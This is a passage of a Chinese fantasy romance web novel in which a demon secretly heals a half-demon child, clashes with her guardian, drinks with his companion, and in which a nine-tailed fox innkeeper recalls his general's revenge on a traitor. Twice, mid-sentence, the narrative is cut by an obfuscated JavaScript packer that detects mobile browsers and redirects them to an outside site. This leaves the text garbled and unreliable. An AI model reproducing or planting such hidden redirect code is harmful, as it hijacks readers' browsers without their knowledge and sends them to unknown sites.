林鹤眠接不上话了,因为谢松意说的是实话。 到了泛月的客栈,谢松意让林鹤眠先去休息,自己去了桐伯那里。 桐伯还在为念念的病发愁,她的身体十分虚弱,不只是要治好先天不足之症那么简单。 “桐伯。”谢松意进了门,桐伯忙迎上去。 “可算回来了,有没有没遇到什么危险?” 谢松意笑着摇头:“没有,念念的情况怎么样?” “这孩子体弱,有些麻烦。眼下最好的法子是渡灵力给她,然后再治好她的病。” “确实麻烦。” “这件事容我再想想,我总不能向和你一起的那个孩子开口。” 桐伯说完才发现自己还不知道那个小修士叫什么名字,便问:“那孩子叫什么名字?” “林鹤眠。” “林鹤眠……”桐伯若有所思的重复着这三个字,不知重复了几遍,他才恍然大悟,“这倒是巧。” “您知道他?”谢松意挑眉。 “也可能是同名同姓。”桐伯笑起来,“三百多年前我去郸州采药遇到一伙山贼,本欲出手,却被一位林姓镖师当成普通人救下,我应下他为了保证我的安全而同行的邀请。” “那位镖师路上正和他的兄弟们讨论将要出世的孩子的名字,彼时正值暖春,我们路过一个村子,我偶然瞥见一头青牛伏在树下吃草,不由得想起一句诗,就从这诗中选了两个字送给镖师,镖师欣然接受。” “或许不是巧合。他根本不受任何妖气影响,体内的灵力十分纯粹。”谢松意说。 桐伯惊讶地看向谢松意:“你是说,他和我一样?” 谢松意点头。 当初在须臾山祠堂他就觉得奇怪,林鹤眠即便天生剑胚,也不可能不沾染任何妖力。 而且通天墟封印会炸属于意料之外,虽然对他而言炸不炸都无所谓。 毕竟如今灵力十分纯粹的修士根本就不存在,但谢行错当年设下封印时根本就不会想到,自己家就有一个根本不存在的存在。 说林鹤眠体质特殊根本说不通,但如果是受到他母亲阵法的影响,那就说得通了。 古兽境是妖界妖力最为纯粹充盈的地方,所以若要设阵,法阵也必须保证阵内的一切足够纯粹。 短时间内呆在阵中倒没什么,时间长了必然会受法阵影响。 桐伯不由得感慨:“若是如此,想来也是一场缘分。” 人与人之间也好,人与妖之间也罢,很多时候,缘分总在比想象中更早的时间就结下了。 桐伯扫了一眼窗外,然后推着谢松意出去,说:“时候不早了,你快去休息,念念这孩子的事我再想想办法。” 谢松意哪能真的让桐伯去救念念,他也是长生,甚至有灵力 他自己就可以,况且若想救念念,最好今晚就得救。 他在人间待了很久,谁心里想什么能猜个七七八八。 满纪相信桐伯是在赌,他赌桐伯是一只好妖。可今天出了意外,满纪把一切都看在眼里。 他赌桐伯是好妖没用的,桐伯身边有他这个可能会失控的妖,满纪还怎么敢让念念留在这里。 若他是满纪,明日一早就离开了,绝对不会冒着极大的风险去给自己的妹妹治病,否则就是得不偿失。 谢松意下定决心要帮念念,但他并未告诉桐伯,只说了一句:“您也早点休息。” 桐伯亲眼看到谢松意回了房间才关上门,谢松意回到房间没待多久就出去了。 他去了念念的房间,敲了几下门,等里面喊了一句奶里奶气的“进”后,便推门进去。 “大哥哥,你怎么不睡觉?”坐在太师椅上拨弄花瓶的念念见谢松意进来,将目光落在他身上,问了一句。 谢松意笑起来:“你不也没睡,还说上我了。” “我在等哥哥回来嘛。我睡的太久,都饿了,哥哥去借厨房给我做好吃的了,一会就回来,大哥哥你要不要也尝尝哥哥的手艺?” “我不饿。” 念念跳下太师椅,跑到桌子旁抓了一块糕点递给谢松意:“你尝尝,可好吃了,我不骗你。” 谢松意接过念念手里的糕点放回盘子里:“我相信你,不过我真的不饿,这些糕点你吃便好。” “好吧。”念念有些沮丧,垂着小脑袋唉声叹气。 “念念,”谢松意又开口,念念抬起头,对上他的眼睛,“你想不想把病治好?” 念念刚才还黯淡无光的眼睛突然亮起来,小孩子的情感是藏不住的,她脸上的喜悦和期待被谢松意看得一清二楚。 “大哥哥,你有办法?” “你把眼睛闭上。”谢松意抬手遮住念念的眼睛。 “好。” 念念乖巧的点头。 她的视野里一片黑暗,根本没看到谢松意身上妖气与灵力混杂的场面。 黑色的气息中萦绕着白色光点,光点无形中被一股力量抽去,聚成一道白光注入念念体内。 念念毫无知觉的睡了过去。 温暖的灵力在体内游走,她熟睡时的呼吸从刚开始的急促而又毫无规律变得平稳有序。 谢松意将她放到床上为念念渡灵。 渡灵是一种消耗很大的行为,他不久前爆发的那股妖气就已经让他损耗了不少精力,如今又给念念渡灵,不养个十天八天的怕是难恢复。 偏偏满纪这时推门进来。 满纪本想试着对妖改观,可紧接着发生的事他目睹了全过程,他对此隐隐有些动摇。 如今又看到谢松意闯入房间,固有印象让他下意识觉得谢松意要对念念不利。 “你做什么!” 托盘被他随手扔掉,毫不犹豫的冲了过去。 谢松意正值渡灵的最后一刻,他硬是挨了满纪一掌,等渡灵结束才离开。 满纪追着谢松意跑到院中,召出一柄剑就刺向谢松意,不料却被林鹤眠挡住。 谢松意没站稳,险些栽倒在地,林鹤眠忙扶着他,保证他能站起来。 满纪白林鹤眠一眼,攥紧了手中的剑:“他是妖,你是修士,你居然次次护着他!” 林鹤眠一手扶着谢松意,另一只手召出佩剑,剑刃直指满纪,厉声道:“他是妖又如何?我今天偏要护着他!想打架是吧?来,我奉陪到底!” “冥顽不灵!” 满纪怒斥林鹤眠,林鹤眠抬手要出招,却被谢松意打断:“别和他打。” 谢松意脸色苍白,嘴唇毫无血色,林鹤眠忙收了剑用两只手扶着他。 “带我回房间。” “好,我不打,我带你回房间。” 林鹤眠虽然心有不忿,但谢松意现在的情况很不好,他只得收了剑带谢松意回去。 临行前,林鹤眠回过头瞪了满纪一眼,大有一副谢松意若出事那就别怪我手下无情的架势。 林鹤眠扶着谢松意进门,正在前台和泛月一起查账的老板见他脸色发白,忙丢下账本帮林鹤眠扶谢松意。 泛月早已把房门打开,谢松意被搀扶着坐到床上,人刚坐下,就咳出一口血。 老板蹙眉:“你们都出去。” “要不要找桐伯?”林鹤眠不放心,觉得还是让桐伯看看比较好,转身要走,去被谢松意拽住胳膊。 “别找他!” 林鹤眠轻轻拿下谢松意拽着他的手,虽然很担心,但此刻他留在这里也没什么作用,想找桐伯谢松意又不让,只能先答应他:“好,我不找。” “你们先出去,这里有我就够了。”老板又说。 泛月自知留在这里没用,拉着林鹤眠就要离开:“行,有事喊我。” 老板施法为谢松意疗伤,他挨了满纪一掌,还正中心口,即便是从背面打的,也对谢松意造成了很大的伤害。 老板强大的妖力注入谢松意体内,谢松意苍白的脸色开始逐渐有了血色。 大约过了一炷香的时间,老板收了妖力,又递给谢松意一块帕子。 “感觉怎么样?” 谢松意擦掉脸上的冷汗,道:“已经没事了。” “你的身体需要将养几天,这些天别喝酒,尤其别使用妖力,若他日桐伯问起,我来应付。” 谢松意将帕子还给老板,老板接过帕子,补了一句:“我去给你熬药,今晚是别想睡了,喝完药再睡。” “等等。” 已经转过身的老板被这三个字绊住脚步,他回眸看去,发现谢松意用妖力聚成一把匕首,直接在自己手腕上割开一道口子,滴下的血被凝成一颗红色的小珠子。 谢松意把珠子放在掌中递给老板:“想办法让念念吃了吧。” 老板嘴唇微张,他本想说些什么,但最终还是接过珠子,回了一句:“我知道了。” 他说谢松意没用的。 谢松意是他看着长大的,什么性子他最清楚。 老板下了楼,帮谢松意熬药。熬药倒也费不了多长时间,但今晚发生的事实在太多了,等药熬好,窗外已是将明未明。 谢松意能考虑到的老板未必没想到,满纪的事他也不能撂着不管,泛月这时候已经睡了,林鹤眠毫无睡意,便成了给谢松意送药的人。 “他还好么?”林鹤眠接过托盘,问道。 “已经没事了。不过这些天不能用妖力也不能喝酒,你们若要继续拜长生,我建议歇几天再走。” “那就歇几天,毕竟路上要是遇到我打不过的妖还得靠他。” 林鹤眠端起托盘上楼,刚走没几步突然想起什么似的回过头,却发现老板不见了。他没辙,只好先去给谢松意送药。 他在门外敲了好几下都没答应,干脆直接推门而入,发现屋内空无一人,只好端着药四处找他,终于在后山的一棵海棠树上找到了谢松意。 谢松意坐在树枝上,惨白的月光将他的身影拉的细长。树下放着一个托盘,盘里有一壶酒和几只空酒盅。 他对着林鹤眠的方向举起酒杯,眉眼一弯露出一抹笑:“陪我喝一杯?” 林鹤眠站在原地,他似乎透过谢松意的笑看到了什么,久久没有回应。 他看到了什么呢,他也说不清楚,那并非是久远的记忆,而是一种情绪。 谢松意的笑里,三分真心七分虚伪,他知道此时的谢松意并不是真的在笑。 他明明可以有一个安宁和乐的生活,却因为一场无妄之灾在人间踽踽独行三百年。 林鹤眠的嘴绷成了一条直线,片刻后才开口:“老板说你不能饮酒。” 谢松意眉梢轻挑,嘴角依旧挂着一抹笑意:“你不告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014059|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉他不就行了。” 林鹤眠无奈:“你有时真的挺幼稚的,还不听话。” “我说林师弟,”谢松意“啧”了一声,仰头将酒一饮而尽,“我才三百岁,在妖族就是小孩,老板快两千岁的人形史书都不算老。我幼稚点怎么了,不听话又怎么了,是谁规定我不能这么做的?” 这下轮到林鹤眠“啧”了,他放下托盘,施法收了谢松意那只空酒盅,显然是有些怒了,连声音都提高了几分:“别喝了!” 谢松意并没有醉,见林鹤眠生气了,以为他是觉得自己大肆饮酒喝醉了,怕伤了身体,辩解道:“我没醉。” “不是因为这个。” “那你说说,你拿走我的酒盅做什么?” “老板说你不能喝。” “就这?” “不够?” “够了我就听你的话了。” 谢松意用妖力给自己斟了一杯酒,又将酒杯隔空取来,小啜一口,笑道:“再者,你觉得我会听他的么?我把他的话当耳旁风也不是一次两次了。” “你就折腾自己吧,到最后受罪的还是你。”林鹤眠要被气死了。 谢松意没理他,片刻后,突然问了一句:“为什么要替别人挡剑?” “只是不想让你后悔,你不是会滥杀无辜的妖。” “所以你觉得,我杀了你就不后悔了?” 林鹤眠怔住了,他当时确实没想过自己死在谢松意手上又会怎么样。 可归根结底,那人不该死。 “该死的不是他。” “但该死的也不是你。” 谢松意似乎有些生气,他闭上眼,强迫自己镇定下来,眸中又恢复了以前的温和,问道:“你是不是知道什么,所以才去挡剑?” “须臾山藏书阁的书记载了很多其他宗门的逸闻轶事,我看过六青峰的,起初只当是个虚构的故事,没想到是真的。” 谢松意苦笑着又喝了一口酒:“那只妖是我母亲。当年事发突然,我想去救他,可我还要救我的族人,我豁出命去救我想救的人,可谁都没救下来。” “我去找母亲的尸体,却怎么也找不到。有人告诉我,母亲自焚了,我信了。” “后来听说六青峰用一具妖尸炼出一种自愈力极强的丹药,我当时根本没想那么多。” 直到今天看到陈如絮后,谢松意才发现,那种丹药是用他母亲炼的。 拥有自愈能力的妖不在少数,但要说最强的,当属长生。陈如絮的伤口可以瞬间愈合,只有用长生炼出来的丹药才具备这种功效。 那一瞬间他才明白,他低估了人心之恶。 母亲一生行医救人无数,不该是这样的结局。他以为桐伯因为母亲自焚才怒斥害死母亲的人是畜生,其实并非如此。 桐伯早就知道母亲被炼成了丹药,可他没说,也不想让自己知道。 甚至是老板,老板和陈如絮打了那么久,陈如絮的异常他怎么可能看不出来? 还有泛月,泛月当年提到陈如絮一事也只是草草略过,他以为泛月和他一样,都认为那不过是为了引人注目而夸大其词的说法。 泛月知道他今天为什么生气,却对此毫无反应,这说明她早就知道当年那只妖是谁。 所有人都知道,偏偏他被蒙在鼓里。 谢松意突然觉得自己很傻,其实他早该猜出来的,他只是不愿意相信,也不敢想那只妖会是他母亲。 “我知道你很难过,”林鹤眠顿了顿,他觉得不应该让谢松意顺着丹药的话题讲下去,干脆尝试转移话题,“但你知道么,其实你这样我还挺开心的,因为这说明你还没有变成老板那样。” 谢松意眸光流转,扫了林鹤眠一眼,又继续喝酒去了。 “老板那样也挺好的。” “但我不想让你变成那样。” 谢松意咽下口中的酒,问:“为什么?” “因为不像真正的你。” 谢松意冷哼一声,随后又笑起来:“怎么,你还想改变我?” “我想,但你不一定会愿意。” “你知道上一个和你有一样想法的人是谁么?” “行错老祖?” “不是,那时我还没那么生死看淡。”谢松意将余下的酒一饮而尽,“是闻人将军。” “他想改变的是老板,但他没做到,后来干脆不做了,由着老板的性子。” “我不是他,你怎么知道我做不到?” 谢松意又“啧”了一声,他很显然是不想讨论这个话题:“你到底陪不陪我喝酒?” “老板说你不能喝,而且你还没喝药。” “他还说我不能用妖力呢,我不也当着他的面用了?”谢松意从树上飞下来,倒了一杯酒递给林鹤眠,“自己尝尝。” 林鹤眠接过杯子尝了一口,本来还有些生气,但酒液下肚后留在口中的气味又让他有些惊讶:“这是果酒?” “不然呢?”谢松意心说泛月这里根本没啤酒,全是果酒,“现在能陪我喝酒了吧?” 林鹤眠对上谢松意的眸子,莫名想起桐伯那句“松意以前很任性的”,突然觉得,这样的谢松意,更真实。 “你先喝药。”林鹤眠端起托盘。 谢松意心说老板的药没有最苦只有更苦,他才不喝,于是和林鹤眠继续拉扯:“你先陪我喝酒。” “喝完你就喝药。”林鹤眠也不怕和谢松意继续拉扯,他千杯不醉,就不信谢松意比他还厉害。 “行,但你得先陪我喝酒。” “可以。”林鹤眠笑着问谢松意,“要我陪你喝多少?” 谢松意将杯中的酒一饮而尽,笑道:“陪我一醉方休。” 一句一醉方休,让林少侠喝的不省人事。 他打死都没想到真的会有人比他还能喝,啊不对,是妖。 他自己喝断片了,喝完酒谢松意有没有喝药也不记得,大早上起来捂要炸开的脑袋,又瞥见桌上还放了一碗药,颜色和谢松意那碗一模一样,当即就要爆炸。 “谢松意,你坑我!!!” “我坑你做什么。” 谢松意从门外走进来,拿起桌上的药递给他:“给你醒酒的,我昨晚有喝药。” “真的?” “我什么时候骗过你?” “勉强信你一次。” 20. 第二十章 林鹤眠喝了醒酒药,才想起来自己一直忽略了一件事。 “满公子为何要对你大打出手?” “一场误会罢了。”谢松意顿了顿,“帮我一个忙。” 林鹤眠放下药碗,抬眸问:“什么忙?” “如果桐伯问念念的病是怎么好的,就说你用灵力救了他。” 林鹤眠恍然大悟,想来是谢松意救念念却被满纪误认为要伤害她所以才打了起来。 “你为什么要瞒着桐伯真相?”林鹤眠不解。 明明救念念的人是谢松意,他却要把功劳推到自己头上。 谢松意只是叹气:“桐伯不会希望我有灵力的。” 林鹤眠微怔,他抿了抿唇,心中有些不是滋味。 谢松意是妖,妖有灵力,多么矛盾的一件事,传出来都不一定有人信,这种事忤逆天道的行为都是有代价的。 他不知道代价是什么,但肯定不会有好结果,这中间的过程想来也是是常人难以忍受的。 但谢松意身上的灵力几乎和妖力持平,他能感受到谢松意在隐藏实力,但没有刻意隐藏妖力,因为他身上的灵力和妖力已经达到了可以相互抵消的程度。 这么多的灵力,他吃了多少苦? 林鹤眠嘴唇微张,他想说什么,最后还是把话收回去了,点头道:“好。” “谢谢。”谢松意眉眼一弯,露出一个如释重负的浅笑。 “没什么。”林鹤眠摇头,“满公子那边……” “老板想带他们回自己的客栈。” “回客栈?”林鹤眠挑眉。 念念的身份和病症二人第一次见面时他便看出来了。 妖族有一种发病率极低的失心症,患病后患者会随着年龄增长而逐渐忘记一切,然后变得痴傻,最后成为疯子,癫狂一生。 这种病在普通妖身上并不常见,但在半妖身上极易出现,而念念就是半妖。 满纪有沙妖妖丹,他怎么会不知道念念是半妖,可他依旧选择收养被抛弃的念念,所以昨晚满纪重伤谢松意,他出剑时也并未想过要杀了对方,只是威胁他。 半妖十岁以前和常人无异,十岁后便会逐渐显出妖的特征,若无人引导,妖力可能都无法控制。 “念念是半妖,对她来说,留在老板身边最好。”谢松意为林鹤眠解释。 “满公子会同意么?” 谢松意又笑:“那就看他愿不愿意信老板一次了。” 满纪最初是不信老板的,他抱着念念,执意要离开。 老板并未阻拦,只是说:“三百多年前的满家先祖满酉君出任刑部尚书,这才有了京都满家的存在,此后满家人才辈出。” 满纪停下脚步,回过头来看着老板,眼中隐隐有些许愤怒。 满家先祖的名字向来不对外公开,史书又在宫里,很少有人知道先祖叫什么。 老板是妖,按理来说根本没有接触史书的可能,许是他早年曾与自家先祖接触,又或许…… “你调查我?” 老板笑起来:“不是调查,从三百三十年但三百三十七年前的朝堂之事我都清楚,又恰巧因某些事与尚书大人有过一面之缘。” 满纪不自觉的警惕起来,他抱紧怀中的念念:“你到底是谁?!” 念念眨巴着大眼睛,盯着老板看了好久,突然指着老板叫起来:“哥哥,是将军!是将军!” 念念说不清楚,但满纪能明白她话里的意思。他给念念讲故事,基本都从祖上入朝为官开始讲,再往上他也不知道。 满家先祖满酉君入朝为官时,同期还有一位英年早逝的将军——闻人璟。 因为这位将军的事迹在史书上大部分都是某某年几月几日大捷,退某国兵,收复失地多少里,受赏多少之类的话,所以他给念念讲闻人璟时,是从先祖留下的日志中挑了一部分内容讲的。 满酉君的日志里提到一个人,那人,准确来说是妖,无名,满酉君却用一段话来记录这位无名的妖。 朝中人人皆知此乃妖物,亦知他无害人之心,相比之下,险恶之人,虽有人形,终不如妖。可惜将军早逝,此妖随之浪迹天涯,我终生不知其姓名,甚是可惜。若后辈有缘相遇,还望代为问好。 “满公子,您可愿意信我?”老板又笑。 “您的名字?” “闻人。” “这是姓。”满纪急切的想替先祖知道老板的名字。 “我知道。”老板微顿,又补了一句“我现在就叫这个。满公子,你可信我?” 满纪起初不说话,片刻后,他郑重点头:“信。” 老板带着满纪和念念回了客栈,林鹤眠和谢松意准备停几天再走,主要是谢松意的身体不允许他去拜长生。 到了客栈已经是晚上,客栈已经打烊。 满纪带着念念进了客栈后的小院子,院子正中是大厅,大厅里摆了一张大圆桌和好几个圆凳。 刚踏过门槛,正在里面擦桌的圆石就很有眼色的帮满纪拿走手里的包裹。 “你们以后住在这个院子就好,这里是大厅,我们吃饭的地方,你和念念的房间在最北端。”老板看着间歇性精明的圆石,无奈摇头。 圆石必须精明啊。 自从老板开了这家客栈,店里就只有他和尖石俩伙计,再不精明点,未来的同事跑了,他和尖石还得忙成狗。 “谢谢。”满纪突然有些不好意思,声音特别小。 跟一只妖怪回家,以后还要和他住在一起,对他而言是一种从未有过的体验。 “你想做什么?”老板又问满纪。 他这店里人手真不咋够,不过他也不想招太多人。如今满纪来了随便给他安排个差事又怕他不满意,倒不如问问。 “管吃管住就行,我什么都可以做。” “你什么都不做我也会管吃管住。”老板笑起来,“圆石和尖石平日里没少偷懒,逢年过节该给的依然得给。你放心在这里住就是,不干活也不会让你缺吃少穿睡大街的。” 念念眨巴着大眼睛,想了一会,说:“哥哥可会做饭了,让他去后厨好了,这样大家都能吃到哥哥做的饭。” 老板轻抚着她的小脑袋,脸上笑意依旧:“这可不是我说的算,得让你哥哥自己选。” “我就去后厨好了。”满纪毫不犹豫的回了一句。 “也行。”老板思索一番,点头答应了。 尖石匆匆跑来,手里还端着一个大托盘,托盘里放着一些很简单的饭菜。他将饭菜一一摆在面前的桌子上,随后看向老板:“您也来吃点?” 老板摇头:“不了,我去前台对一下账,你们吃吧。” 老板说完就走了,尖石知道他的性子,也没挽留,转身招呼满纪和念念:“你们愣着干什么,快来吃啊。” 满纪盯着老板的身影望得出神,听了尖石的话才回过神来,念念不等他走过去,拉着他的手就凑上前。 大厅没关门,里面的声音清晰可闻。 “哥哥我要吃这个。”这个声音奶里奶气,不用想也知道是念念。 “尖石,你做的粥齁咸啊!”这个气急败坏的声音是圆石。 “我放的明明是糖!”尖石愤怒的为自己辩解,紧接着就是一道吐口水的声音。 老板不用看就知道,圆石肯定是把那碗咸粥塞尖石嘴里了,然后尖石没忍住直接吐了出来。 月光将老板的身影拉的细长,他再次将那些热闹抛在身后,独自走过漫漫长夜。 等对完账回来,饭菜早被收拾了,圆石正拉着满纪打叶子牌,满纪根本不会,但架不住圆石热情,念念说她也想看,只好硬着头皮上。 老板倚着回廊下的栏杆,静静地看着屋内众人,恍惚间竟生出一种错觉,仿佛他还在将军府。 将军府并没有多少下人,五根指头都数的过来,府上大小事务又都是他处理,管家形同虚设。 他性子好,遇事也不恼,又总是一副笑盈盈的样子,府中有些下人和他打照面打多了,关系都不自觉的亲近了。 将军府人少,对外阶级森严,关了门,外人看不到的地方下人主仆亲如一家,这样的日子倒也温馨。 冬夜漫长,有时落了雪,晚上就更冷了。 他屋里暖和,下人的屋子也有炭火,但他们却总爱挤在自己屋子里,有时还和管家一起。 还说什么等将军来了公子这屋子可就不能这么热闹了,这话说多了,又会换成公子不会找将军告状吧?千万别啊,不然以后我们就不能来了。 他总是笑而不答,抱着汤婆子看着他们嬉闹。 管家姓罗,是个中年人,经常带着一群人在他屋里打叶子牌,只论输赢不下注,屋里总是很热闹。 但打叶子牌时总会有个特例。 那个特例是一位小姑娘,名叫兰心。 她当时不过十四岁,也不会玩叶子牌,就拿着城坊平面图圈圈画画,圈一个地方就转过头来问自己一句公子要不要等将军回来了和他去这里看看? 然后就是一堆这里怎么怎么样,有什么新奇玩意之类的话。 兰心每到打叶子牌就会琢磨他和阿璟去哪里,偶尔管家会教她叶子牌的规则,但她不太懂,输多赢少。 有时屋里的茶水凉了,他去厨房换水,兰心会拦着他,放下手里的纸和笔,随手揪起一个正打牌的人,训斥他:“将军说公子的身体要好生养着,外面这么冷,你怎么能让公子去,染了风寒怎么办?” 那段时间他自断一尾元气大伤,还没恢复过来,阿璟临行前吩咐管家要好好照顾他的身体,结果就是老板的日常吃穿用度被管家他们伺候的十分精细,每天每顿吃什么都安排的明明白白。 对方自然不愿让老板去,但也不想自己去,回了兰心一句:“你怎么不去?” 兰心拿起纸笔,重新画起来:“将军就要回来了,我给他和公子挑地方玩呢,才不要去。” 那人无奈,扔下叶子牌,嘴里嘟囔着“我去我去,真拿你没办法”,拿起茶壶走了。 管家也会笑着看他们闹。 管家家里有个和兰心年纪差不多的儿子,打牌时偶尔提起他,总是会感慨,说老板不是女儿身,不能给将军留下一儿半女。 兰心听到了,就怼他:“公子不是女儿身又怎么了,他和将军琴瑟和鸣就非要用一个孩子来证明么?” “再说了,生孩子很疼的,我可不想让咱公子受这种罪,想要孩子你替公子生去!” 管家丢出手里的叶子牌,无奈道:“你这嘴,别人说一句你怼十句,得亏是在将军府,又遇到了将军和公子这种顶好的人,换做宫里,你早晚出事。” “我才不去宫里,那地方规矩多得摆出来能压死我。”兰心撅起嘴,“我要在这里和大家一起伺候将军公子一辈子。” 稚子童言,让倚着栏杆的老板不由得笑起来,尖石刷碗回来,看到老板,忍不住问了一句:“您不是去对账了么?” “今天人少,对的快。”老板看向尖石,“尖石,去把将军令拿出来吧。” “您要将军令做什么?” “进宫面圣。” 老板将目光投向空中圆月,月色皎洁,月光落到院子里,连院子都亮堂起来,但依旧有照不到的地方一片黑暗。 “可陛下不一定能认得您。” 老板的目光冷下来:“他总该认得这块世间仅有的将军令。” 满纪曾说,他一家数十条性命,只为给孙阔升官发财铺路。 可是,凭什么呢?那可是一条条鲜活的生命啊。 往事再度浮现,老板有一瞬的错愕。 那天落了雪,阿璟带他去了天牢。 那人不甘心,见到阿璟活像见了鬼。 “你明明应该死了!为什么还活着,为什么不去死!” 撕心裂肺的吼声响彻天牢,狱卒嫌恶地看了那人一眼,打开牢门便匆匆离开。 天牢阴冷,老板那段时间身子弱,裹着氅衣也经不住寒气往里钻,止不住的咳嗽。 那人眸子一转,目光扫过他因掩着口鼻而露出的一截手臂,白皙的肌肤上那一点红痕清晰可见。 那人突然笑起来,言语间满是嘲讽:“怪不得你能活下来,原来是有妖过惯了张开腿的日子,舍不得自己的恩客……” 话还没说完,阿璟便捏住那人的下巴,强迫他张开嘴,从腰间抽出一把匕首,硬生生割了他的舌头。 “你算什么东西,也敢这么侮辱他?” 淬了毒的目光在那人脸上游走,恐惧笼罩在狭小的牢房里,那人想说话,却张着嘴呜呜啊啊吐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15014060|162084||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出一个字。 老板对这种话并不在意,只是冷声问了一句:“谁告诉你我是妖的?” 阿璟吩咐狱卒拿来纸笔,强按着那人写字,他颤颤巍巍在纸上写下一个名字,狱卒过来把笔收了,纸则被老板看了一眼便烧成灰烬。 老板又咳起来,咳完,他眸光一撇,发现阿璟掐住那人的脖子,仿佛要把他生吞活剥了。 “他可不是你嘴皮子一张一合就能侮辱的人,你没资格,也没资格让我的三万将士为你的高官厚禄做垫脚石!” 谁都没资格。 每条性命都同等重要,谁的命都不该成为别人谋求利益的棋子。 其实这人的算盘打得很好,阿璟带人全军覆没,再套上一个通敌叛国的罪名。他适时揭发,再拿出证据,然后派人应战一雪前耻,到时候陛下龙颜大悦,肯定会提拔他。 他本就官职不低,再被提拔,也算得上朝中重臣。这样即便老板是妖,随意杀他一个重臣报仇也是行不通的,甚至会激化人妖之间的矛盾。 人没命会死,妖没了妖丹也得死。 阿璟当时在边疆,根本不会有机会收集证据证明自己的清白,即便老板舍命救他,老板不在,阿璟的结局也只有被安上一个通敌叛国的罪名走向刑场。 到时候总不能和陛下说,那些证据是一只妖收集的,陛下肯定会问妖在哪里,妖没了妖丹死路一条,问起来就是死无对证。 但老板是九尾天狐,那人千算万算,都没想到老板大有来历。否则,想来他那三万将士换一人荣华的计划也不会功亏一篑。 可是,凭什么呢? 三万条性命,凭什么只为给他一人做垫脚石;满纪一家数十条性命,凭什么只为给他孙阔铺路? 阿璟当年上书陛下请凌迟之刑,刑部尚书满酉君因为这件事几次三番来将军府,想让阿璟改主意,但阿璟不肯。 因为阿璟想让那人被割三万刀。 满酉君不是替那人减刑,而是因为三万刀真的太多了,不割十天半个月割不完,人刽子手也要吃饭啊。 最后一次来将军府阿璟不在,老板接待了满酉君。 阿璟会客他向来不露面,这次没办法,见满酉君急得满头大汗,便先将人请进府里,等阿璟回来再说。 阿璟回了府,思来想去干脆问满酉君能不能切骨头。毕竟三万刀,真有个三万孔的渔网刽子手也不好下刀,只能对人骨头下手。 满酉君带着阿璟的提议出了将军府,陛下准了,满酉君让手下多备了了几个刽子手,行刑的问题才解决。 三万刀,一刀一条命,行刑时阿璟全程看着。 他幼时从死人堆里爬出来,后来又上了战场,看那人受刑,眼都不带眨的,目光冷峻如刀,阴寒渗人,唯有和老板私下相处时,脸上才会多几分温和。 人都是复杂的,阿璟尤其明显,战场之上、朝堂之中、将军府里,三个地方,三种面孔。 每一个都是他,但细分下来又都不像他,唯有一点可以证明他是阿璟,那就是二人相处时的那种温柔细腻。 老板的目光沉静如水,眼底却带着一抹寒意,他盯着月亮沉默片刻,低声说了一句:“我到底还是不忍心看这孩子落得这般地步。” 当初阿璟说,他死后,若哪天出事了,老板可以用这块令牌自保。 “我有什么可自保的,哪个吃了熊心豹子胆的敢在我头上动土?”老板笑起来,满是笑意的脸上却看不出任何喜悦。 他只是不大生气,不是没有脾气,真有谁惹到他,动起手来未必不比阿璟狠。 况且,长生之下,九尾为尊,人没有招惹他的必要,妖不敢招惹他,他根本用不上那块令牌,也犯不着生气。 尖石替他发愁:“满公子的事吃饭时我问过了,若情况属实,恐怕这背后和六青峰脱不开关系。” “六青峰?”老板瞥了尖石一眼,眸中是少见的凛冽和轻蔑,“我能给他们一块地方开宗立派,就能把这地方收回去,它六青峰算什么东西,也配威胁到我?” “他们毕竟是有名有姓的大宗派……” “大宗派?”老板冷笑,指尖溢出浓厚的妖气,掌心凝出一个封印,他手掌轻握,封印四分五裂。 这次没用九尾天火,天上圆月就已被老板的妖气浸染成红色。 “那就看看是他这个大宗派厉害,还是我这只九尾天狐更胜一筹。” 满纪感受到门外有一股强烈的妖气,他探出脑袋向外望去,发现老板在外面,一同探出脑袋的圆石在他身后问老板:“您要不要玩叶子牌?” 老板收了妖气,眸中的凛冽早已换成温和笑意:“不了,你们玩吧。” 老板虽然笑着,但只有刚才看到一切的尖石才知道,老板生气了。 三百多年前阿璟看那人受刑时老板也曾去过。 阿璟捂着他的眼睛,说:“别看,容易做噩梦。” 老板却拿开他的手,平静的注视窗外的刑场,说:“阿璟,我见过的未必比你少。” 阿璟盯着他看了片刻,随后笑起来,关了窗,将他搂在怀里,狎呢的蹭着他的脸:“我好像没见过你生气,你生气时是什么样子?” 老板想了想,回了一句:“可能会把将军府烧没,甚至烧毁附近百姓的家。” “那还是别生气了。”阿璟将他搂的更紧了,“不能连累那些百姓没地方住。” 老板任由阿璟搂着,那时的六青峰已经和须臾山一样有名气,老板根本没告诉任何人,六青峰就是他生气的结果。 六青峰原来的十座主峰都是四季常青,一直被老板父母当草药园用的,后来有四座被降下的天火烧的寸草不生,此后再也无法长出任何植物。 老板也没管,旁妖建议他用结界护起来,他没用。反正家里也没人了,他也用不着,那几座山峰倒不如留着,这一留就留到六青峰开宗立派,再发展至今。 尖石是石头成精,他并不知道老板的过去,只知道自己是被人捡来送给老板的,后来老板开了客栈,他就有了人形和自我意识,成了店里的伙计。 其实他挺想看老板生气,因为他一直觉得这顶头上司脾气好到没边,三百多年了,别说生气,骂人都很少见。 但现在想想,不见也挺好的,他总觉得老板生气不是好事。 21. 二十(上) 1. 